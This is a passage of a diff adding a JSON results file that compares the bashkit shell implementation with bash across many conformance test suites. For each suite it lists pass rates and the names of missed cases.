"on": "stdout" + }, + { + "case": 25, + "name": "$LINENO in ((", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [ + 34, + 40 + ] + }, + "blog2": { + "summary": { + "cases": 8, + "bashkit_pass": 5, + "bashkit_pass_pct": 62.5, + "bash_pass": 8, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 5, + "pass_rate": 62.5 + }, + "missed": [ + { + "case": 4, + "name": "-a -a -a -a -a", + "class": "behavior", + "on": "stdout" + }, + { + "case": 5, + "name": "-a -a -a -a -a -a", + "class": "behavior", + "on": "stdout" + }, + { + "case": 6, + "name": "-a -a -a -a -a -a -a", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "bool-parse": { + "summary": { + "cases": 8, + "bashkit_pass": 5, + "bashkit_pass_pct": 62.5, + "bash_pass": 8, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 5, + "pass_rate": 62.5 + }, + "missed": [ + { + "case": 0, + "name": "test builtin - Unexpected trailing word '--' (#2409)", + "class": "behavior", + "on": "stdout" + }, + { + "case": 1, + "name": "test builtin: ( = ) is confusing: equality test or non-empty string test", + "class": "behavior", + "on": "stdout" + }, + { + "case": 2, + "name": "test builtin: ( == ) is confusing: equality test or non-empty string test", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "builtin-bash": { + "summary": { + "cases": 13, + "bashkit_pass": 10, + "bashkit_pass_pct": 76.9, + "bash_pass": 13, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 10, + "pass_rate": 76.9 + }, + "missed": [ + { + "case": 0, + "name": "help", + "class": "behavior", + "on": "stderr" + }, + { + "case": 1, + "name": "bad help topic", + "class": "behavior", + "on": "stdout" + }, + { + "case": 6, + "name": "mapfile (delimiter): -d '' (null-separated)", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "builtin-misc": { + "summary": { + "cases": 7, + "bashkit_pass": 4, + "bashkit_pass_pct": 57.1, + "bash_pass": 7, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 4, + "pass_rate": 57.1 + }, + "missed": [ + { + "case": 0, + "name": "history builtin usage", + "class": "interactive", + "on": "stdout" + }, + { + "case": 1, + "name": "Print shell strings with weird chars: set and printf %q and ${x@Q}", + "class": "behavior", + "on": "stdout" + }, + { + "case": 3, + "name": "time pipeline", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "builtin-set": { + "summary": { + "cases": 24, + "bashkit_pass": 21, + "bashkit_pass_pct": 87.5, + "bash_pass": 24, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 21, + "pass_rate": 87.5 + }, + "missed": [ + { + "case": 6, + "name": "set -u with undefined var in interactive shell does NOT exit the interpreter", + "class": "interactive", + "on": "stdout" + }, + { + "case": 16, + "name": "A single + is an ignored flag; not an argument", + "class": "behavior", + "on": "stdout" + }, + { + "case": 17, + "name": "set - + and + -", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "builtin-trap-err": { + "summary": { + "cases": 23, + "bashkit_pass": 19, + "bashkit_pass_pct": 82.6, + "bash_pass": 22, + "bash_pass_pct": 95.7, + "bashkit_pass_of_bash": 19, + "pass_rate": 86.4 + }, + "missed": [ + { + "case": 6, + "name": "trap ERR pipelines without simple commands", + "class": "behavior", + "on": "stdout" + }, + { + "case": 12, + "name": "set -o errtrace: trap ERR with &", + "class": "processes", + "on": "stdout" + }, + { + "case": 16, + "name": "trap ERR with \"atoms\": assignment (( [[", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [ + 18 + ] + }, + "builtin-umask": { + "summary": { + "cases": 24, + "bashkit_pass": 21, + "bashkit_pass_pct": 87.5, + "bash_pass": 24, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 21, + "pass_rate": 87.5 + }, + "missed": [ + { + "case": 10, + "name": "'umask 0002' sets the umask", + "class": "host", + "on": "stdout" + }, + { + "case": 11, + "name": "set umask with symbolic mode: g-w,o-w", + "class": "host", + "on": "stdout" + }, + { + "case": 13, + "name": "umask with too many arguments (i.e. extra spaces)", + "class": "host", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "extglob-files": { + "summary": { + "cases": 23, + "bashkit_pass": 20, + "bashkit_pass_pct": 87.0, + "bash_pass": 23, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 20, + "pass_rate": 87.0 + }, + "missed": [ + { + "case": 15, + "name": "Extended glob in same word as array", + "class": "behavior", + "on": "stdout" + }, + { + "case": 19, + "name": "no match", + "class": "behavior", + "on": "stdout" + }, + { + "case": 21, + "name": "noglob", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "fatal-errors": { + "summary": { + "cases": 5, + "bashkit_pass": 2, + "bashkit_pass_pct": 40.0, + "bash_pass": 5, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 2, + "pass_rate": 40.0 + }, + "missed": [ + { + "case": 1, + "name": "Unrecoverable: divide by zero in conditional word", + "class": "behavior", + "on": "stdout" + }, + { + "case": 3, + "name": "Unrecoverable: ${undef?message}", + "class": "behavior", + "on": "stdout" + }, + { + "case": 4, + "name": "${undef} with nounset", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "func-parsing": { + "summary": { + "cases": 15, + "bashkit_pass": 12, + "bashkit_pass_pct": 80.0, + "bash_pass": 15, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 12, + "pass_rate": 80.0 + }, + "missed": [ + { + "case": 8, + "name": "= in function name", + "class": "behavior", + "on": "status" + }, + { + "case": 9, + "name": "Function name with $", + "class": "behavior", + "on": "status" + }, + { + "case": 10, + "name": "Function name with command sub", + "class": "behavior", + "on": "status" + } + ], + "bash_fails": [] + }, + "glob": { + "summary": { + "cases": 39, + "bashkit_pass": 34, + "bashkit_pass_pct": 87.2, + "bash_pass": 37, + "bash_pass_pct": 94.9, + "bashkit_pass_of_bash": 34, + "pass_rate": 91.9 + }, + "missed": [ + { + "case": 7, + "name": "glob can expand to command and arg", + "class": "behavior", + "on": "stdout" + }, + { + "case": 15, + "name": "glob with escaped - in char class", + "class": "behavior", + "on": "stdout" + }, + { + "case": 38, + "name": "shopt -u globskipdots shows . and ..", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [ + 23, + 31 + ] + }, + "nix-idioms": { + "summary": { + "cases": 6, + "bashkit_pass": 3, + "bashkit_pass_pct": 50.0, + "bash_pass": 6, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 3, + "pass_rate": 50.0 + }, + "missed": [ + { + "case": 0, + "name": "var ref to array 'preHooks[@]'", + "class": "behavior", + "on": "stdout" + }, + { + "case": 1, + "name": "Similar to above with set -u", + "class": "behavior", + "on": "stdout" + }, + { + "case": 3, + "name": "${!ref} to undefined string var is fatal, INCONSISTENT with array", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "quote": { + "summary": { + "cases": 35, + "bashkit_pass": 32, + "bashkit_pass_pct": 91.4, + "bash_pass": 35, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 32, + "pass_rate": 91.4 + }, + "missed": [ + { + "case": 27, + "name": "$'' octal escapes don't have leading 0", + "class": "behavior", + "on": "stdout" + }, + { + "case": 29, + "name": "OSH allows invalid backslashes", + "class": "behavior", + "on": "stdout" + }, + { + "case": 33, + "name": "$'' supports \\cA escape for Ctrl-A - mask with 0x1f", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "serialize": { + "summary": { + "cases": 10, + "bashkit_pass": 7, + "bashkit_pass_pct": 70.0, + "bash_pass": 10, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 7, + "pass_rate": 70.0 + }, + "missed": [ + { + "case": 3, + "name": "printf %q unprintable", + "class": "behavior", + "on": "stdout" + }, + { + "case": 5, + "name": "printf %q invalid unicode", + "class": "behavior", + "on": "stdout" + }, + { + "case": 8, + "name": "${var@Q}", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "sh-usage": { + "summary": { + "cases": 24, + "bashkit_pass": 21, + "bashkit_pass_pct": 87.5, + "bash_pass": 24, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 21, + "pass_rate": 87.5 + }, + "missed": [ + { + "case": 4, + "name": "sh - and sh -- stop flag processing", + "class": "behavior", + "on": "stderr" + }, + { + "case": 15, + "name": "Set LC_ALL LC_CTYPE LC_COLLATE LANG - affects glob ?", + "class": "behavior", + "on": "stdout" + }, + { + "case": 16, + "name": "LC_CTYPE=invalid", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "var-op-bash": { + "summary": { + "cases": 27, + "bashkit_pass": 23, + "bashkit_pass_pct": 85.2, + "bash_pass": 26, + "bash_pass_pct": 96.3, + "bashkit_pass_of_bash": 23, + "pass_rate": 88.5 + }, + "missed": [ + { + "case": 19, + "name": "${!A@a} and ${!A[@]@a}", + "class": "behavior", + "on": "stdout" + }, + { + "case": 23, + "name": "${!r@a} with r='a[0]' (attribute for indirect expansion of an array element)", + "class": "behavior", + "on": "stdout" + }, + { + "case": 26, + "name": "Array expansion with nullary var op @a", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [ + 3 + ] + }, + "var-op-len": { + "summary": { + "cases": 9, + "bashkit_pass": 6, + "bashkit_pass_pct": 66.7, + "bash_pass": 8, + "bash_pass_pct": 88.9, + "bashkit_pass_of_bash": 5, + "pass_rate": 62.5 + }, + "missed": [ + { + "case": 3, + "name": "String length with incomplete utf-8", + "class": "behavior", + "on": "stdout" + }, + { + "case": 4, + "name": "String length with invalid utf-8 continuation bytes", + "class": "behavior", + "on": "stdout" + }, + { + "case": 6, + "name": "Length of undefined variable with nounset", + "class": "behavior", + "on": "status" + } + ], + "bash_fails": [ + 8 + ] + }, + "arg-parse": { + "summary": { + "cases": 3, + "bashkit_pass": 1, + "bashkit_pass_pct": 33.3, + "bash_pass": 3, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 1, + "pass_rate": 33.3 + }, + "missed": [ + { + "case": 1, + "name": "shift 1 extra", + "class": "behavior", + "on": "stdout" + }, + { + "case": 2, + "name": "continue 1 extra, break, etc.", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "array-basic": { + "summary": { + "cases": 5, + "bashkit_pass": 3, + "bashkit_pass_pct": 60.0, + "bash_pass": 5, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 3, + "pass_rate": 60.0 + }, + "missed": [ + { + "case": 1, + "name": "${a[@]} and ${a[*]}", + "class": "behavior", + "on": "stdout" + }, + { + "case": 2, + "name": "4 ways to interpolate empty array", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "assign-deferred": { + "summary": { + "cases": 9, + "bashkit_pass": 7, + "bashkit_pass_pct": 77.8, + "bash_pass": 9, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 7, + "pass_rate": 77.8 + }, + "missed": [ + { + "case": 7, + "name": "is 'builtin' prefix and array allowed? OSH is smarter", + "class": "behavior", + "on": "stdout" + }, + { + "case": 8, + "name": "is 'command' prefix and array allowed? OSH is smarter", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "builtin-getopts": { + "summary": { + "cases": 31, + "bashkit_pass": 29, + "bashkit_pass_pct": 93.5, + "bash_pass": 31, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 29, + "pass_rate": 93.5 + }, + "missed": [ + { + "case": 6, + "name": "getopts with invalid variable name", + "class": "behavior", + "on": "stdout" + }, + { + "case": 19, + "name": "flag and arg: -c10", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "divergence": { + "summary": { + "cases": 4, + "bashkit_pass": 2, + "bashkit_pass_pct": 50.0, + "bash_pass": 4, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 2, + "pass_rate": 50.0 + }, + "missed": [ + { + "case": 1, + "name": "!( as negation and subshell versus extended glob - #2463", + "class": "behavior", + "on": "stdout" + }, + { + "case": 3, + "name": "builtin cat crashes a subshell (#2530)", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "errexit": { + "summary": { + "cases": 35, + "bashkit_pass": 33, + "bashkit_pass_pct": 94.3, + "bash_pass": 35, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 33, + "pass_rate": 94.3 + }, + "missed": [ + { + "case": 33, + "name": "set -e in function #2", + "class": "behavior", + "on": "stdout" + }, + { + "case": 34, + "name": "Command sub exit code is lost", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "exit-status": { + "summary": { + "cases": 11, + "bashkit_pass": 9, + "bashkit_pass_pct": 81.8, + "bash_pass": 11, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 9, + "pass_rate": 81.8 + }, + "missed": [ + { + "case": 7, + "name": "If subshell true WITH ARGUMENT", + "class": "behavior", + "on": "stdout" + }, + { + "case": 10, + "name": "More test cases with empty argv", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "glob-bash": { + "summary": { + "cases": 8, + "bashkit_pass": 6, + "bashkit_pass_pct": 75.0, + "bash_pass": 8, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 6, + "pass_rate": 75.0 + }, + "missed": [ + { + "case": 3, + "name": "shopt -s failglob in array literal context", + "class": "behavior", + "on": "stdout" + }, + { + "case": 6, + "name": "shopt -s failglob behavior on single line with semicolon", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "redirect": { + "summary": { + "cases": 41, + "bashkit_pass": 39, + "bashkit_pass_pct": 95.1, + "bash_pass": 41, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 39, + "pass_rate": 95.1 + }, + "missed": [ + { + "case": 27, + "name": "1>&2- (Bash bug: fail to restore closed fd)", + "class": "processes", + "on": "stdout" + }, + { + "case": 29, + "name": "<> for read/write named pipes", + "class": "host", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "var-op-patsub": { + "summary": { + "cases": 28, + "bashkit_pass": 26, + "bashkit_pass_pct": 92.9, + "bash_pass": 28, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 26, + "pass_rate": 92.9 + }, + "missed": [ + { + "case": 19, + "name": "When LC_ALL=C, pattern ? doesn't match multibyte character", + "class": "behavior", + "on": "stdout" + }, + { + "case": 23, + "name": "patsub with [^]]", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "var-op-slice": { + "summary": { + "cases": 22, + "bashkit_pass": 20, + "bashkit_pass_pct": 90.9, + "bash_pass": 22, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 20, + "pass_rate": 90.9 + }, + "missed": [ + { + "case": 9, + "name": "Slice undefined", + "class": "behavior", + "on": "stdout" + }, + { + "case": 20, + "name": "${array[@]:} vs ${array[@]: } - bash and zsh inconsistent", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "append": { + "summary": { + "cases": 20, + "bashkit_pass": 19, + "bashkit_pass_pct": 95.0, + "bash_pass": 20, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 19, + "pass_rate": 95.0 + }, + "missed": [ + { + "case": 11, + "name": "Try to append list to element", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "builtin-type": { + "summary": { + "cases": 6, + "bashkit_pass": 5, + "bashkit_pass_pct": 83.3, + "bash_pass": 6, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 5, + "pass_rate": 83.3 + }, + "missed": [ + { + "case": 2, + "name": "type of relative path", + "class": "host", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "dbracket": { + "summary": { + "cases": 49, + "bashkit_pass": 48, + "bashkit_pass_pct": 98.0, + "bash_pass": 49, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 48, + "pass_rate": 98.0 + }, + "missed": [ + { + "case": 44, + "name": "tilde expansion with =~ (confusing)", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "dparen": { + "summary": { + "cases": 15, + "bashkit_pass": 13, + "bashkit_pass_pct": 86.7, + "bash_pass": 14, + "bash_pass_pct": 93.3, + "bashkit_pass_of_bash": 13, + "pass_rate": 92.9 + }, + "missed": [ + { + "case": 11, + "name": "(( )) with redirect", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [ + 10 + ] + }, + "errexit-osh": { + "summary": { + "cases": 35, + "bashkit_pass": 34, + "bashkit_pass_pct": 97.1, + "bash_pass": 35, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 34, + "pass_rate": 97.1 + }, + "missed": [ + { + "case": 30, + "name": "command_sub_errexit and command sub in array", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "extglob-match": { + "summary": { + "cases": 29, + "bashkit_pass": 28, + "bashkit_pass_pct": 96.6, + "bash_pass": 29, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 28, + "pass_rate": 96.6 + }, + "missed": [ + { + "case": 21, + "name": "Turning extglob on changes the meaning of [[ !(str) ]] in bash", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "for-expr": { + "summary": { + "cases": 9, + "bashkit_pass": 7, + "bashkit_pass_pct": 77.8, + "bash_pass": 8, + "bash_pass_pct": 88.9, + "bashkit_pass_of_bash": 7, + "pass_rate": 87.5 + }, + "missed": [ + { + "case": 2, + "name": "Accepts { } syntax too", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [ + 6 + ] + }, + "globignore": { + "summary": { + "cases": 18, + "bashkit_pass": 17, + "bashkit_pass_pct": 94.4, + "bash_pass": 18, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 17, + "pass_rate": 94.4 + }, + "missed": [ + { + "case": 12, + "name": "Ignore .:..", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "history-expand": { + "summary": { + "cases": 1, + "bashkit_pass": 0, + "bashkit_pass_pct": 0.0, + "bash_pass": 1, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 0, + "pass_rate": 0.0 + }, + "missed": [ + { + "case": 0, + "name": "!! expansion", + "class": "interactive", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "pipeline": { + "summary": { + "cases": 26, + "bashkit_pass": 24, + "bashkit_pass_pct": 92.3, + "bash_pass": 25, + "bash_pass_pct": 96.2, + "bashkit_pass_of_bash": 24, + "pass_rate": 96.0 + }, + "missed": [ + { + "case": 6, + "name": "Initial value of PIPESTATUS is empty string", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [ + 10 + ] + }, + "process-sub": { + "summary": { + "cases": 9, + "bashkit_pass": 8, + "bashkit_pass_pct": 88.9, + "bash_pass": 8, + "bash_pass_pct": 88.9, + "bashkit_pass_of_bash": 7, + "pass_rate": 87.5 + }, + "missed": [ + { + "case": 2, + "name": "Process sub from shell to stdin", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [ + 4 + ] + }, + "redirect-command": { + "summary": { + "cases": 23, + "bashkit_pass": 22, + "bashkit_pass_pct": 95.7, + "bash_pass": 23, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 22, + "pass_rate": 95.7 + }, + "missed": [ + { + "case": 11, + "name": "Redirect in function body is evaluated multiple times", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "tilde": { + "summary": { + "cases": 14, + "bashkit_pass": 13, + "bashkit_pass_pct": 92.9, + "bash_pass": 14, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 13, + "pass_rate": 92.9 + }, + "missed": [ + { + "case": 11, + "name": "x=${undef-~:~}", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "toysh": { + "summary": { + "cases": 8, + "bashkit_pass": 7, + "bashkit_pass_pct": 87.5, + "bash_pass": 8, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 7, + "pass_rate": 87.5 + }, + "missed": [ + { + "case": 3, + "name": "char class / extglob", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "toysh-posix": { + "summary": { + "cases": 23, + "bashkit_pass": 22, + "bashkit_pass_pct": 95.7, + "bash_pass": 23, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 22, + "pass_rate": 95.7 + }, + "missed": [ + { + "case": 13, + "name": "for loop parsing - http://landley.net/notes.html#04-03-2020", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "unicode": { + "summary": { + "cases": 7, + "bashkit_pass": 1, + "bashkit_pass_pct": 14.3, + "bash_pass": 2, + "bash_pass_pct": 28.6, + "bashkit_pass_of_bash": 1, + "pass_rate": 50.0 + }, + "missed": [ + { + "case": 0, + "name": "OSH source code doesn't have to be valid Unicode (like other shells)", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [ + 2, + 3, + 4, + 5, + 6 + ] + }, + "var-op-strip": { + "summary": { + "cases": 29, + "bashkit_pass": 28, + "bashkit_pass_pct": 96.6, + "bash_pass": 29, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 28, + "pass_rate": 96.6 + }, + "missed": [ + { + "case": 26, + "name": "Strip Right Brace (#702)", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "var-sub": { + "summary": { + "cases": 6, + "bashkit_pass": 5, + "bashkit_pass_pct": 83.3, + "bash_pass": 6, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 5, + "pass_rate": 83.3 + }, + "missed": [ + { + "case": 4, + "name": "Descriptor redirect to bad \"$@\"", + "class": "behavior", + "on": "status" + } + ], + "bash_fails": [] + }, + "vars-bash": { + "summary": { + "cases": 1, + "bashkit_pass": 0, + "bashkit_pass_pct": 0.0, + "bash_pass": 1, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 0, + "pass_rate": 0.0 + }, + "missed": [ + { + "case": 0, + "name": "$SHELL is set to what is in /etc/passwd", + "class": "interactive", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "zsh-idioms": { + "summary": { + "cases": 3, + "bashkit_pass": 2, + "bashkit_pass_pct": 66.7, + "bash_pass": 3, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 2, + "pass_rate": 66.7 + }, + "missed": [ + { + "case": 2, + "name": "zsh var sub is rejected at runtime", + "class": "behavior", + "on": "stdout" + } + ], + "bash_fails": [] + }, + "arith-dynamic": { + "summary": { + "cases": 4, + "bashkit_pass": 4, + "bashkit_pass_pct": 100.0, + "bash_pass": 4, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 4, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [] + }, + "array-compat": { + "summary": { + "cases": 12, + "bashkit_pass": 12, + "bashkit_pass_pct": 100.0, + "bash_pass": 12, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 12, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [] + }, + "assign-dialects": { + "summary": { + "cases": 4, + "bashkit_pass": 4, + "bashkit_pass_pct": 100.0, + "bash_pass": 4, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 4, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [] + }, + "builtin-echo": { + "summary": { + "cases": 27, + "bashkit_pass": 27, + "bashkit_pass_pct": 100.0, + "bash_pass": 27, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 27, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [] + }, + "builtin-eval-source": { + "summary": { + "cases": 23, + "bashkit_pass": 21, + "bashkit_pass_pct": 91.3, + "bash_pass": 21, + "bash_pass_pct": 91.3, + "bashkit_pass_of_bash": 21, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [ + 13, + 14 + ] + }, + "builtin-times": { + "summary": { + "cases": 1, + "bashkit_pass": 1, + "bashkit_pass_pct": 100.0, + "bash_pass": 1, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 1, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [] + }, + "builtin-type-bash": { + "summary": { + "cases": 31, + "bashkit_pass": 31, + "bashkit_pass_pct": 100.0, + "bash_pass": 31, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 31, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [] + }, + "case_": { + "summary": { + "cases": 13, + "bashkit_pass": 13, + "bashkit_pass_pct": 100.0, + "bash_pass": 13, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 13, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [] + }, + "command-parsing": { + "summary": { + "cases": 5, + "bashkit_pass": 5, + "bashkit_pass_pct": 100.0, + "bash_pass": 5, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 5, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [] + }, + "command-sub": { + "summary": { + "cases": 30, + "bashkit_pass": 28, + "bashkit_pass_pct": 93.3, + "bash_pass": 28, + "bash_pass_pct": 93.3, + "bashkit_pass_of_bash": 28, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [ + 11, + 12 + ] + }, + "command_": { + "summary": { + "cases": 16, + "bashkit_pass": 16, + "bashkit_pass_pct": 100.0, + "bash_pass": 16, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 16, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [] + }, + "comments": { + "summary": { + "cases": 2, + "bashkit_pass": 2, + "bashkit_pass_pct": 100.0, + "bash_pass": 2, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 2, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [] + }, + "empty-bodies": { + "summary": { + "cases": 3, + "bashkit_pass": 3, + "bashkit_pass_pct": 100.0, + "bash_pass": 3, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 3, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [] + }, + "explore-parsing": { + "summary": { + "cases": 5, + "bashkit_pass": 5, + "bashkit_pass_pct": 100.0, + "bash_pass": 5, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 5, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [] + }, + "globstar": { + "summary": { + "cases": 5, + "bashkit_pass": 5, + "bashkit_pass_pct": 100.0, + "bash_pass": 5, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 5, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [] + }, + "here-doc": { + "summary": { + "cases": 36, + "bashkit_pass": 36, + "bashkit_pass_pct": 100.0, + "bash_pass": 36, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 36, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [] + }, + "if_": { + "summary": { + "cases": 5, + "bashkit_pass": 5, + "bashkit_pass_pct": 100.0, + "bash_pass": 5, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 5, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [] + }, + "known-differences": { + "summary": { + "cases": 2, + "bashkit_pass": 2, + "bashkit_pass_pct": 100.0, + "bash_pass": 2, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 2, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [] + }, + "let": { + "summary": { + "cases": 2, + "bashkit_pass": 2, + "bashkit_pass_pct": 100.0, + "bash_pass": 2, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 2, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [] + }, + "loop": { + "summary": { + "cases": 29, + "bashkit_pass": 29, + "bashkit_pass_pct": 100.0, + "bash_pass": 29, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 29, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [] + }, + "nocasematch-match": { + "summary": { + "cases": 6, + "bashkit_pass": 6, + "bashkit_pass_pct": 100.0, + "bash_pass": 6, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 6, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [] + }, + "paren-ambiguity": { + "summary": { + "cases": 9, + "bashkit_pass": 9, + "bashkit_pass_pct": 100.0, + "bash_pass": 9, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 9, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [] + }, + "posix": { + "summary": { + "cases": 15, + "bashkit_pass": 15, + "bashkit_pass_pct": 100.0, + "bash_pass": 15, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 15, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [] + }, + "print-source-code": { + "summary": { + "cases": 4, + "bashkit_pass": 4, + "bashkit_pass_pct": 100.0, + "bash_pass": 4, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 4, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [] + }, + "redirect-multi": { + "summary": { + "cases": 13, + "bashkit_pass": 13, + "bashkit_pass_pct": 100.0, + "bash_pass": 13, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 13, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [] + }, + "sh-func": { + "summary": { + "cases": 12, + "bashkit_pass": 12, + "bashkit_pass_pct": 100.0, + "bash_pass": 12, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 12, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": [] + }, + "sh-options-bash": { + "summary": { + "cases": 9, + "bashkit_pass": 9, + "bashkit_pass_pct": 100.0, + "bash_pass": 9, + "bash_pass_pct": 100.0, + "bashkit_pass_of_bash": 9, + "pass_rate": 100.0 + }, + "missed": [], + "bash_fails": 